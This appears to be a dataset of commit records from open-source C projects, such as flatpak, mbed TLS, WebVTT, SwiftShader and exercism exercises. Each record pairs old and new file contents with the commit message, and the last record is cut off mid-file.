{"commit":"cc7f863707262a74a3eab35efaac9d3e0e39aa72","old_file":"common\/flatpak-utils-base-private.h","new_file":"common\/flatpak-utils-base-private.h","old_contents":"\/*\n * Copyright © 2019 Red Hat, Inc\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\t See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n * Authors:\n *       Alexander Larsson <alexl@redhat.com>\n *\/\n\n#ifndef __FLATPAK_UTILS_BASE_H__\n#define __FLATPAK_UTILS_BASE_H__\n\n#include <glib.h>\n\nchar *flatpak_get_timezone (void);\n\nchar * flatpak_readlink (const char *path,\n                         GError    **error);\nchar * flatpak_resolve_link (const char *path,\n                             GError    **error);\nchar * flatpak_canonicalize_filename (const char *path);\nvoid   flatpak_close_fds_workaround (int start_fd);\n\n#endif \/* __FLATPAK_UTILS_BASE_H__ *\/\n","new_contents":"\/*\n * Copyright © 2019 Red Hat, Inc\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\t See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n * Authors:\n *       Alexander Larsson <alexl@redhat.com>\n *\/\n\n#ifndef __FLATPAK_UTILS_BASE_H__\n#define __FLATPAK_UTILS_BASE_H__\n\n#include <glib.h>\n#include <gio\/gio.h>\n\n#ifndef G_DBUS_METHOD_INVOCATION_HANDLED\n# define G_DBUS_METHOD_INVOCATION_HANDLED TRUE\n# define G_DBUS_METHOD_INVOCATION_UNHANDLED FALSE\n#endif\n\nchar *flatpak_get_timezone (void);\n\nchar * flatpak_readlink (const char *path,\n                         GError    **error);\nchar * flatpak_resolve_link (const char *path,\n                             GError    **error);\nchar * flatpak_canonicalize_filename (const char *path);\nvoid   flatpak_close_fds_workaround (int start_fd);\n\n#endif \/* __FLATPAK_UTILS_BASE_H__ *\/\n","subject":"Add a backport of G_DBUS_METHOD_INVOCATION_HANDLED","message":"common: Add a backport of G_DBUS_METHOD_INVOCATION_HANDLED\n\nThis is syntactic sugar added in GLib 2.67.0, which makes it more clearly\ncorrect when we return TRUE after a GDBus error.\n\nSigned-off-by: Simon McVittie <0e1aea601907c1a85c2dc96e5ea37e23c58d2e9b@collabora.com>\n","lang":"C","license":"lgpl-2.1","repos":"flatpak\/flatpak,flatpak\/flatpak,flatpak\/flatpak,flatpak\/flatpak,flatpak\/flatpak"}
{"commit":"31810dca7c6aec8eaaaf4e690f24d126c7ac917c","old_file":"src\/system\/sys_stats.h","new_file":"src\/system\/sys_stats.h","old_contents":"#ifndef SYSSTATS_H\n#define SYSSTATS_H\n\n#include <stdbool.h>\n#include <ncurses.h>\n#include <sys\/timerfd.h>\n\n#include \"..\/util\/file_utils.h\"\n\n\n#define MAXTOT 16\n#define BASE 1024\n\n#define MAXPIDS \"\/proc\/sys\/kernel\/pid_max\"\n\n#define MEMFREE \"MemFree:\"\n\n#define SECS 60\n\n#define TIME_READ_DEFAULT 0 \n\n#define SYS_TIMER_EXPIRED_SEC 0\n#define SYS_TIMER_EXPIRED_NSEC 0\n#define SYS_TIMER_LENGTH 1 \n\n#define PTY_BUFFER_SZ 64\n#define NRPTYS \"\/proc\/sys\/kernel\/pty\/nr\"\n\ntypedef struct {\n    char *fstype;\n    uid_t euid;\n    int max_pids;\n    long memtotal;\n    char **current_pids;\n} sysaux;\n\nvoid build_sys_info(WINDOW *system_window, char *fstype);\n\nchar *mem_avail(unsigned long memory, unsigned long base);\n\nvoid current_uptime(WINDOW *system_window, unsigned long seconds, int y, int x);\n\nint nr_ptys(void);\n\nbool is_sysfield_timer_expired(int sys_timer_fd);\n\nint set_sys_timer(struct itimerspec *sys_timer);\n\nint max_pids(void);\n\n#endif\n","new_contents":"#ifndef SYSSTATS_H\n#define SYSSTATS_H\n\n#include <stdbool.h>\n#include <ncurses.h>\n#include <sys\/timerfd.h>\n\n#include \"..\/util\/file_utils.h\"\n\n\n#define MAXTOT 16\n#define BASE 1024\n\n#define MAXPIDS \"\/proc\/sys\/kernel\/pid_max\"\n\n#define MEMFREE \"MemAvailable:\"\n\n#define SECS 60\n\n#define TIME_READ_DEFAULT 0 \n\n#define SYS_TIMER_EXPIRED_SEC 0\n#define SYS_TIMER_EXPIRED_NSEC 0\n#define SYS_TIMER_LENGTH 1 \n\n#define PTY_BUFFER_SZ 64\n#define NRPTYS \"\/proc\/sys\/kernel\/pty\/nr\"\n\ntypedef struct {\n    char *fstype;\n    uid_t euid;\n    int max_pids;\n    long memtotal;\n    char **current_pids;\n} sysaux;\n\nvoid build_sys_info(WINDOW *system_window, char *fstype);\n\nchar *mem_avail(unsigned long memory, unsigned long base);\n\nvoid current_uptime(WINDOW *system_window, unsigned long seconds, int y, int x);\n\nint nr_ptys(void);\n\nbool is_sysfield_timer_expired(int sys_timer_fd);\n\nint set_sys_timer(struct itimerspec *sys_timer);\n\nint max_pids(void);\n\n#endif\n","subject":"Use MemAvailable for \"free mem\"","message":"Use MemAvailable for \"free mem\"\n","lang":"C","license":"mit","repos":"tijko\/dashboard"}
{"commit":"9bd3e9df43b18b917c5510f1ce113e0000008b65","old_file":"webvtt.h","new_file":"webvtt.h","old_contents":"\/* WebVTT parser\n   Copyright 2011 Mozilla Foundation\n *\/\n\n#ifndef _WEBVTT_H_\n#define _WEBVTT_H_\n\n\/* webvtt files are a sequence of cues\n   each cue has a start and end time for presentation\n   and some text content (which my be marked up)\n   there may be other attributes, but we ignore them\n   we store these in a linked list *\/\nstruct webvtt_cue {\n  char *text;       \/** text value of the cue *\/\n  long start, end;  \/** timestamps in milliseconds *\/\n  struct cue *next; \/** pointer to the next cue *\/\n};\ntypedef struct webvtt_cue webvtt_cue;\n\n\n\/* context structure for our parser *\/\ntypedef struct webvtt_parser webvtt_parser;\n\n\/* allocate and initialize a parser context *\/\nwebvtt_parser *webvtt_parse_new(void);\n\n\/* shut down and release a parser context *\/\nvoid webvtt_parse_free(webvtt_parser *ctx);\n\n\/* read a webvtt file from an open file *\/\nstruct webvtt_cue *\nwebvtt_parse_file(webvtt_parser *ctx, FILE *in);\n\n\/* read a webvtt file from a named file *\/\nstruct webvtt_cue *\nwebvtt_parse_filename(webvtt_parser *ctx, const char *filename);\n\n#endif \/* _WEBVTT_H_ *\/\n","new_contents":"\/* WebVTT parser\n   Copyright 2011 Mozilla Foundation\n *\/\n\n#ifndef _WEBVTT_H_\n#define _WEBVTT_H_\n\n\/* webvtt files are a sequence of cues\n   each cue has a start and end time for presentation\n   and some text content (which my be marked up)\n   there may be other attributes, but we ignore them\n   we store these in a linked list *\/\ntypedef struct webvtt_cue webvtt_cue;\nstruct webvtt_cue {\n  char *text;       \/** text value of the cue *\/\n  long start, end;  \/** timestamps in milliseconds *\/\n  webvtt_cue *next; \/** pointer to the next cue *\/\n};\n\n\n\/* context structure for our parser *\/\ntypedef struct webvtt_parser webvtt_parser;\n\n\/* allocate and initialize a parser context *\/\nwebvtt_parser *webvtt_parse_new(void);\n\n\/* shut down and release a parser context *\/\nvoid webvtt_parse_free(webvtt_parser *ctx);\n\n\/* read a webvtt file from an open file *\/\nstruct webvtt_cue *\nwebvtt_parse_file(webvtt_parser *ctx, FILE *in);\n\n\/* read a webvtt file from a named file *\/\nstruct webvtt_cue *\nwebvtt_parse_filename(webvtt_parser *ctx, const char *filename);\n\n#endif \/* _WEBVTT_H_ *\/\n","subject":"Use the correct type for the linked list pointer.","message":"Use the correct type for the linked list pointer.\n","lang":"C","license":"bsd-2-clause","repos":"mafidchao\/webvtt"}
{"commit":"875a794dd1d9c3e183b456b8fe826c04874bbf55","old_file":"Classes\/YTConnector.h","new_file":"Classes\/YTConnector.h","old_contents":"\/\/\n\/\/  YTConnector.h\n\/\/  AKYouTube\n\/\/\n\/\/  Created by Anton Pomozov on 10.09.13.\n\/\/  Copyright (c) 2013 Akademon Ltd. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@class YTConnector;\n\n@protocol YTLoginViewControllerInterface <NSObject>\n\n@property (nonatomic, strong, readonly) UIWebView *webView;\n@property (nonatomic, assign) BOOL shouldPresentCloseButton;\n@property (nonatomic, strong) UIImage *closeButtonImageName;\n\n@end\n\n@protocol YTConnectorDelegate <NSObject>\n\n- (void)presentLoginViewControler:(UIViewController<YTLoginViewControllerInterface> *)loginViewController;\n- (void)connectionEstablished;\n- (void)connectionDidFailWithError:(NSError *)error;\n- (void)appDidFailAuthorize;\n- (void)userRejectedApp;\n\n@end\n\n@interface YTConnector : NSObject\n\n@property (nonatomic, weak) id<YTConnectorDelegate> delegate;\n\n+ (YTConnector *)sharedInstance;\n- (void)connectWithClientId:(NSString *)clientId andClientSecret:(NSString *)clientSecret;\n- (void)authorizeAppWithScopesList:(NSString *)scopesList\n             inLoginViewController:(UIViewController<YTLoginViewControllerInterface> *)loginViewController;\n\n@end\n","new_contents":"\/\/\n\/\/  YTConnector.h\n\/\/  AKYouTube\n\/\/\n\/\/  Created by Anton Pomozov on 10.09.13.\n\/\/  Copyright (c) 2013 Akademon Ltd. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@class YTConnector;\n\n@protocol YTLoginViewControllerInterface <NSObject>\n\n@property (nonatomic, strong, readonly) UIWebView *webView;\n\n@optional\n\n@property (nonatomic, assign) BOOL shouldPresentCloseButton;\n@property (nonatomic, strong) UIImage *closeButtonImageName;\n\n@end\n\n@protocol YTConnectorDelegate <NSObject>\n\n- (void)presentLoginViewControler:(UIViewController<YTLoginViewControllerInterface> *)loginViewController;\n- (void)connectionEstablished;\n- (void)connectionDidFailWithError:(NSError *)error;\n- (void)appDidFailAuthorize;\n- (void)userRejectedApp;\n\n@end\n\n@interface YTConnector : NSObject\n\n@property (nonatomic, weak) id<YTConnectorDelegate> delegate;\n\n+ (YTConnector *)sharedInstance;\n- (void)connectWithClientId:(NSString *)clientId andClientSecret:(NSString *)clientSecret;\n- (void)authorizeAppWithScopesList:(NSString *)scopesList\n             inLoginViewController:(UIViewController<YTLoginViewControllerInterface> *)loginViewController;\n\n@end\n","subject":"Make close button properties optional.","message":"[Mod]: Make close button properties optional.\n","lang":"C","license":"mit","repos":"pomozoff\/AKYouTube,pomozoff\/AKYouTube,pomozoff\/AKYouTube"}
{"commit":"9bcc53dba29ec430925dc6cd9676ad46ddf72461","old_file":"FunctionDeclaration.h","new_file":"FunctionDeclaration.h","old_contents":"#ifndef FUNCTION_DECLARATION_H\n#define FUNCTION_DECLARATION_H\n\n#include \"AstNode.h\"\nnamespace liquid {\nclass FunctionDeclaration : public Statement\n{\n    friend class ClassDeclaration;\n    Identifier* type;\n    Identifier* id;\n    VariableList* arguments;\n    Block* block;\n    YYLTYPE location;\npublic:\n    FunctionDeclaration( Identifier* type, Identifier* id, VariableList* arguments, Block* block, YYLTYPE loc )\n        : type( type ), id( id ), arguments( arguments ), block( block ), location( loc )\n    {}\n    FunctionDeclaration( Identifier* id, VariableList* arguments, Block* block, YYLTYPE loc )\n        : type( new Identifier( \"var\", location ) ), id( id ), arguments( arguments ), block( block ), location( loc )\n    {}\n    virtual ~FunctionDeclaration();\n    virtual llvm::Value* codeGen( CodeGenContext& context );\n    NodeType getType() { return NodeType::function; }\n    Identifier* getId() { return id; }\n    virtual std::string toString();\n    virtual void Accept( Visitor& v ) { v.VisitFunctionDeclaration( this ); }\n    virtual VariableList* getParameter() { return arguments; }\n    virtual Block* getBody() { return block; }\n    virtual Identifier* getRetType() { return type; }\n    YYLTYPE getlocation() { return location; }\n};\n\n}\n#endif \/\/ FUNCTION_DECLARATION_H\n","new_contents":"#ifndef FUNCTION_DECLARATION_H\n#define FUNCTION_DECLARATION_H\n\n#include \"AstNode.h\"\nnamespace liquid {\nclass FunctionDeclaration : public Statement\n{\n    friend class ClassDeclaration;\n    Identifier* type;\n    Identifier* id;\n    VariableList* arguments;\n    Block* block;\n    YYLTYPE location;\npublic:\n    FunctionDeclaration( Identifier* type, Identifier* id, VariableList* arguments, Block* block, YYLTYPE loc )\n        : type( type ), id( id ), arguments( arguments ), block( block ), location( loc )\n    {}\n    FunctionDeclaration( Identifier* id, VariableList* arguments, Block* block, YYLTYPE loc )\n       : type(new Identifier(\"var\", loc)), id(id), arguments(arguments), block(block), location(loc)\n    {}\n    virtual ~FunctionDeclaration();\n    virtual llvm::Value* codeGen( CodeGenContext& context );\n    NodeType getType() { return NodeType::function; }\n    Identifier* getId() { return id; }\n    virtual std::string toString();\n    virtual void Accept( Visitor& v ) { v.VisitFunctionDeclaration( this ); }\n    virtual VariableList* getParameter() { return arguments; }\n    virtual Block* getBody() { return block; }\n    virtual Identifier* getRetType() { return type; }\n    YYLTYPE getlocation() { return location; }\n};\n\n}\n#endif \/\/ FUNCTION_DECLARATION_H\n","subject":"Fix crash wrong order of member initialization.","message":"Fix crash wrong order of member initialization.\n","lang":"C","license":"mit","repos":"xkbeyer\/liquid,xkbeyer\/liquid"}
{"commit":"6ed183cf0022fdc65b0bfcd883dd3a9c4e231a19","old_file":"library\/mps\/common.h","new_file":"library\/mps\/common.h","old_contents":"\/*\n *  Copyright The Mbed TLS Contributors\n *  SPDX-License-Identifier: Apache-2.0\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n *  not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *  This file is part of mbed TLS (https:\/\/tls.mbed.org)\n *\/\n\n\/**\n * \\file common.h\n *\n * \\brief Common functions and macros used by MPS\n *\/\n\n#ifndef MBEDTLS_MPS_COMMON_H\n#define MBEDTLS_MPS_COMMON_H\n\n\/* To be populated *\/\n\n#endif \/* MBEDTLS_MPS_COMMON_H *\/\n","new_contents":"\/*\n *  Copyright The Mbed TLS Contributors\n *  SPDX-License-Identifier: Apache-2.0\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n *  not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *  This file is part of mbed TLS (https:\/\/tls.mbed.org)\n *\/\n\n\/**\n * \\file common.h\n *\n * \\brief Common functions and macros used by MPS\n *\/\n\n#ifndef MBEDTLS_MPS_COMMON_H\n#define MBEDTLS_MPS_COMMON_H\n\n\/**\n * \\name SECTION:       MPS Configuration\n *\n * \\{\n *\/\n\n\/*! This flag enables\/disables assertions on the internal state of MPS.\n *\n *  Assertions are sanity checks that should never trigger when MPS\n *  is used within the bounds of its API and preconditions.\n *\n *  Enabling this increases security by limiting the scope of\n *  potential bugs, but comes at the cost of increased code size.\n *\n *  Note: So far, there is no guiding principle as to what\n *  expected conditions merit an assertion, and which don't.\n *\n *  Comment this to disable assertions.\n *\/\n#define MBEDTLS_MPS_ENABLE_ASSERTIONS\n\n\/* \\} name SECTION: MPS Configuration *\/\n\n#endif \/* MBEDTLS_MPS_COMMON_H *\/\n","subject":"Add MPS compile time option for enabling\/disabling assertions","message":"Add MPS compile time option for enabling\/disabling assertions\n\nThis commit adds the compile-time option MBEDTLS_MPS_ENABLE_ASSERTIONS\nwhich controls the presence of runtime assertions in MPS code.\n\nSee the documentation in the header for more information.\n\nSigned-off-by: Hanno Becker <4d488caff78d6184f59bbe6e137e34d4606b9fe8@arm.com>\n","lang":"C","license":"apache-2.0","repos":"Mbed-TLS\/mbedtls,Mbed-TLS\/mbedtls,NXPmicro\/mbedtls,ARMmbed\/mbedtls,ARMmbed\/mbedtls,Mbed-TLS\/mbedtls,ARMmbed\/mbedtls,ARMmbed\/mbedtls,NXPmicro\/mbedtls,NXPmicro\/mbedtls,NXPmicro\/mbedtls,Mbed-TLS\/mbedtls"}
{"commit":"6e87a90d254282822a9f6a171a38a666a05e5f6e","old_file":"os\/arch\/arm\/src\/rda5981\/rda5981x_exif_isr.c","new_file":"os\/arch\/arm\/src\/rda5981\/rda5981x_exif_isr.c","old_contents":"","new_contents":"\/* mbed Microcontroller Library\r\n * Copyright (c) 2006-2013 ARM Limited\r\n *\r\n * Licensed under the Apache License, Version 2.0 (the \"License\");\r\n * you may not use this file except in compliance with the License.\r\n * You may obtain a copy of the License at\r\n *\r\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\r\n *\r\n * Unless required by applicable law or agreed to in writing, software\r\n * distributed under the License is distributed on an \"AS IS\" BASIS,\r\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n * See the License for the specific language governing permissions and\r\n * limitations under the License.\r\n *\/\r\n#include \"rda5981x_i2s.h\"\r\n#include \"arch\/rda5981\/irq.h\"\r\n\r\n#define RDA_EXIF_INTST      (RDA_EXIF->MISCSTCFG)\r\n\r\nstatic uint8_t is_exif_irq_set = 0;\r\n\r\nstatic void rda_exif_isr(int irq, void *context, void *arg)\r\n{\r\n    uint32_t int_status = RDA_EXIF_INTST & 0xFFFF0000;\r\n    if(int_status & 0x00FC0000) {\r\n        rda_i2s_irq_handler(int_status);\r\n    }\r\n}\r\n\r\nvoid rda_exif_irq_set(void)\r\n{\r\n    if(0 == is_exif_irq_set) {\r\n        is_exif_irq_set = 1;\r\n        irq_attach(RDA_IRQ_EXIF, (uint32_t)rda_exif_isr,(void*)0);\r\n        up_enable_irq(RDA_IRQ_EXIF);\r\n    }\r\n}\r\n\r\n","subject":"Add RDA5981 exif logic for I2S module","message":"Add RDA5981 exif logic for I2S module\n\nSigned-off-by: Tianfu Huang <51883963465061bbce1ec7188dc31b693276da5b@samsung.com>\n","lang":"C","license":"apache-2.0","repos":"tizenrt\/tizen_rt,tizenrt\/tizen_rt,tizenrt\/tizen_rt,tizenrt\/tizen_rt,tizenrt\/tizen_rt,tizenrt\/tizen_rt"}
{"commit":"ad33daeea09dc2e346031093d6b4d4e9d4615de0","old_file":"src\/qpdf\/utils.h","new_file":"src\/qpdf\/utils.h","old_contents":"\/*\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * Copyright (C) 2017, James R. Barlow (https:\/\/github.com\/jbarlow83\/)\n *\/\n\n#pragma once\n\n#include \"pikepdf.h\"\n\npy::object fspath(py::object filename);\nFILE *portable_fopen(py::object filename, const char* mode);\nvoid portable_unlink(py::object filename);\n","new_contents":"\/*\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * Copyright (C) 2017, James R. Barlow (https:\/\/github.com\/jbarlow83\/)\n *\/\n\n#pragma once\n\n#include \"pikepdf.h\"\n\npy::object fspath(py::object filename);\nFILE *portable_fopen(py::object filename, const char* mode);\n","subject":"Remove signature of deleted function","message":"Remove signature of deleted function\n","lang":"C","license":"mpl-2.0","repos":"pikepdf\/pikepdf,pikepdf\/pikepdf,pikepdf\/pikepdf"}
{"commit":"37f29b3dab6e53443f3f8b0cc37b40d821e97440","old_file":"src\/tbd\/symbol.h","new_file":"src\/tbd\/symbol.h","old_contents":"\/\/\n\/\/  src\/tbd\/symbol.h\n\/\/  tbd\n\/\/\n\/\/  Created by inoahdev on 4\/24\/17.\n\/\/  Copyright © 2017 inoahdev. All rights reserved.\n\/\/\n\n#pragma once\n\n#include <mach-o\/arch.h>\n#include <string>\n\n#include \"flags.h\"\n\nclass symbol {\npublic:\n    explicit symbol(const char *string, bool weak, int flags_length) noexcept;\n    void add_architecture(int number) noexcept;\n\n    inline const bool weak() const noexcept { return weak_; }\n    inline const char *string() const noexcept { return string_; }\n\n    inline const flags &flags() const noexcept { return flags_; }\n\n    inline const bool operator==(const char *string) const noexcept { return strcmp(string_, string) == 0; }\n    inline const bool operator==(const symbol &symbol) const noexcept { return strcmp(string_, symbol.string_) == 0; }\n\n    inline const bool operator!=(const char *string) const noexcept { return strcmp(string_, string) != 0; }\n    inline const bool operator!=(const symbol &symbol) const noexcept { return strcmp(string_, symbol.string_) != 0; }\n\nprivate:\n    const char *string_;\n    bool weak_;\n\n    class flags flags_;\n};\n","new_contents":"\/\/\n\/\/  src\/tbd\/symbol.h\n\/\/  tbd\n\/\/\n\/\/  Created by inoahdev on 4\/24\/17.\n\/\/  Copyright © 2017 inoahdev. All rights reserved.\n\/\/\n\n#pragma once\n\n#include <string>\n#include \"flags.h\"\n\nclass symbol {\npublic:\n    explicit symbol(const char *string, bool weak, int flags_length) noexcept;\n    void add_architecture(int number) noexcept;\n\n    inline const bool weak() const noexcept { return weak_; }\n    inline const char *string() const noexcept { return string_; }\n\n    inline const flags &flags() const noexcept { return flags_; }\n\n    inline const bool operator==(const char *string) const noexcept { return strcmp(string_, string) == 0; }\n    inline const bool operator==(const symbol &symbol) const noexcept { return strcmp(string_, symbol.string_) == 0; }\n\n    inline const bool operator!=(const char *string) const noexcept { return strcmp(string_, string) != 0; }\n    inline const bool operator!=(const symbol &symbol) const noexcept { return strcmp(string_, symbol.string_) != 0; }\n\nprivate:\n    const char *string_;\n    bool weak_;\n\n    class flags flags_;\n};\n","subject":"Remove unnecessary import for 'mach-o\/arch.h'","message":"Remove unnecessary import for 'mach-o\/arch.h'","lang":"C","license":"mit","repos":"inoahdev\/tbd,inoahdev\/tbd"}
{"commit":"f0e863ead86a3ea0edb502d7c21bb1fc872712c5","old_file":"include\/sauce\/internal\/implicit_bindings.h","new_file":"include\/sauce\/internal\/implicit_bindings.h","old_contents":"#ifndef SAUCE_SAUCE_INTERNAL_IMPLICIT_BINDINGS_H_\n#define SAUCE_SAUCE_INTERNAL_IMPLICIT_BINDINGS_H_\n\n\/\/ #include <sauce\/internal\/bindings\/all.h>\n\nnamespace sauce {\nnamespace internal {\n\n\/**\n * Attempts to supply a Binding to Bindings when none is found for a dependency.\n *\/\nstruct ImplicitBindings {};\n\n}\n\nnamespace i = ::sauce::internal;\n\n}\n\n#endif \/\/ SAUCE_SAUCE_INTERNAL_IMPLICIT_BINDINGS_H_\n","new_contents":"#ifndef SAUCE_SAUCE_INTERNAL_IMPLICIT_BINDINGS_H_\n#define SAUCE_SAUCE_INTERNAL_IMPLICIT_BINDINGS_H_\n\n#include <sauce\/internal\/bindings\/all.h>\n\nnamespace sauce {\nnamespace internal {\n\n\/**\n * Attempts to supply a Binding to Bindings when none is found for a dependency.\n *\/\nstruct ImplicitBindings {};\n\n}\n\nnamespace i = ::sauce::internal;\n\n}\n\n#endif \/\/ SAUCE_SAUCE_INTERNAL_IMPLICIT_BINDINGS_H_\n","subject":"Enable including all bindings in implicit bindings","message":"Enable including all bindings in implicit bindings\n","lang":"C","license":"mit","repos":"phs\/sauce,phs\/sauce,phs\/sauce,phs\/sauce"}
{"commit":"e263b70f1126b4fdb1ade836aacd547ad0e3e3b2","old_file":"extensions\/ringopengl\/ring_opengl21.c","new_file":"extensions\/ringopengl\/ring_opengl21.c","old_contents":"#include \"ring.h\"\n\n\n\/*\n\tOpenGL 2.1 Extension\n\tCopyright (c) 2017 Mahmoud Fayed <msfclipper@yahoo.com>\n*\/\n\n\n#include <GL\/glew.h>\n#include <GL\/glut.h>\n\nRING_API void ringlib_init(RingState *pRingState)\n{\n}\n","new_contents":"#include \"ring.h\"\n\n\n\/*\n\tOpenGL 2.1 Extension\n\tCopyright (c) 2017 Mahmoud Fayed <msfclipper@yahoo.com>\n*\/\n\n\n#include <GL\/glew.h>\n#include <GL\/glut.h>\n\n\nRING_FUNC(ring_glAccum)\n{\n\tif ( RING_API_PARACOUNT != 2 ) {\n\t\tRING_API_ERROR(RING_API_MISS2PARA);\n\t\treturn ;\n\t}\n\tif ( ! RING_API_ISNUMBER(1) ) {\n\t\tRING_API_ERROR(RING_API_BADPARATYPE);\n\t\treturn ;\n\t}\n\tif ( ! RING_API_ISNUMBER(2) ) {\n\t\tRING_API_ERROR(RING_API_BADPARATYPE);\n\t\treturn ;\n\t}\n\tglAccum( (GLenum )  (int) RING_API_GETNUMBER(1), (GLfloat ) RING_API_GETNUMBER(2));\n}\n\nRING_API void ringlib_init(RingState *pRingState)\n{\n\tring_vm_funcregister(\"glaccum\",ring_glAccum);\n}\n","subject":"Update RingOpenGL - Add Function (Source Code) : void glAccum(GLenum op,GLfloat value)","message":"Update RingOpenGL - Add Function (Source Code) : void glAccum(GLenum op,GLfloat value)\n","lang":"C","license":"mit","repos":"ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring"}
{"commit":"36b989cb6ffc12f7291e25bbb710e9a1d6e22203","old_file":"src\/Common\/Version.h","new_file":"src\/Common\/Version.h","old_contents":"#define MAJOR_VERSION 3\n#define MINOR_VERSION 1\n#define BUILD_VERSION 0\n#define BUILD_REVISION 5172\n\n#define STRINGIFY(x) #x\n#define MACRO_STRINGIFY(x) STRINGIFY(x)\n\n#define REVISION_STRING MACRO_STRINGIFY(BUILD_REVISION)\n#define VERSION_STRING MACRO_STRINGIFY(MAJOR_VERSION) \".\" MACRO_STRINGIFY(MINOR_VERSION) \".\" MACRO_STRINGIFY(BUILD_VERSION) \".\" MACRO_STRINGIFY(BUILD_REVISION)\n","new_contents":"#define MAJOR_VERSION 3\n#define MINOR_VERSION 2\n#define BUILD_VERSION 6\n#define BUILD_REVISION 45159\n\n#define STRINGIFY(x) #x\n#define MACRO_STRINGIFY(x) STRINGIFY(x)\n\n#define REVISION_STRING MACRO_STRINGIFY(BUILD_REVISION)\n#define VERSION_STRING MACRO_STRINGIFY(MAJOR_VERSION) \".\" MACRO_STRINGIFY(MINOR_VERSION) \".\" MACRO_STRINGIFY(BUILD_VERSION) \".\" MACRO_STRINGIFY(BUILD_REVISION)\n","subject":"Update the version number of release.","message":"Update the version number of release.\n","lang":"C","license":"apache-2.0","repos":"google\/swiftshader,google\/swiftshader,google\/swiftshader,bkaradzic\/SwiftShader,bkaradzic\/SwiftShader,bkaradzic\/SwiftShader,bkaradzic\/SwiftShader,bkaradzic\/SwiftShader"}
{"commit":"5b90a4de55f79f8ca1cf3ac1357fadf1451126cc","old_file":"arrays\/recursive-divide-and-conquer\/main.c","new_file":"arrays\/recursive-divide-and-conquer\/main.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n\n#define N 100\n\ntypedef int Item;\n\nItem max(Item *, int, int);\n\nint main(void) {\n\tint i;\n\tItem m, a[N];\n\t\n\tsrand(time(NULL));\n\n\tfor (i = 0; i < N; ++i) {\n\t\ta[i] = rand() % 1000;\n\t}\n\t\n\tm = max(a, 0, N-1);\n\t\n\tprintf(\"Max array value is: %d\\n\", m);\n\t\n\treturn 0;\n}\n\nItem max(Item a[], int l, int r) {\n\tItem u, v;\n\tint m = (l+r)\/2;\n\t\n\tif (l == r)\n\t\treturn a[l];\n\t\n\tu = max(a, l, m);\n\tv = max(a, m+1, r);\n\t\n\tif (u > v)\n\t\treturn u;\n\telse\n\t\treturn v;\n}\n","subject":"Add recursive divide and conquer algorithm for arrays","message":"Add recursive divide and conquer algorithm for arrays\n\n\tnew file:   arrays\/recursive-divide-and-conquer\/main.c\n","lang":"C","license":"mit","repos":"bartobri\/data-structures-c,bartobri\/data-structures-c"}
{"commit":"60dcc9639dd5f36d1049f1d85bfd6bec45b2ab20","old_file":"exercises\/rna-transcription\/src\/example.c","new_file":"exercises\/rna-transcription\/src\/example.c","old_contents":"#include <stdlib.h>\n#include <string.h>\n#include \"rna_transcription.h\"\n\nchar *to_rna(const char *dna) {\n  size_t len = strlen(dna);\n  char *rna = malloc(sizeof(char) * len);\n\n  for (int i = 0; i < len; i++) {\n    switch (dna[i]) {\n    case 'G':\n      rna[i] = 'C';\n      break;\n    case 'C':\n      rna[i] = 'G';\n      break;\n    case 'T':\n      rna[i] = 'A';\n      break;\n    case 'A':\n      rna[i] = 'U';\n      break;\n    default:\n      free(rna);\n      return NULL;\n    }\n  }\n\n  return rna;\n}\n","new_contents":"#include <stdlib.h>\n#include <string.h>\n#include \"rna_transcription.h\"\n\nchar *to_rna(const char *dna) {\n  size_t len = strlen(dna);\n  char *rna = malloc(sizeof(char) * len);\n\n  for (size_t i = 0; i < len; i++) {\n    switch (dna[i]) {\n    case 'G':\n      rna[i] = 'C';\n      break;\n    case 'C':\n      rna[i] = 'G';\n      break;\n    case 'T':\n      rna[i] = 'A';\n      break;\n    case 'A':\n      rna[i] = 'U';\n      break;\n    default:\n      free(rna);\n      return NULL;\n    }\n  }\n\n  return 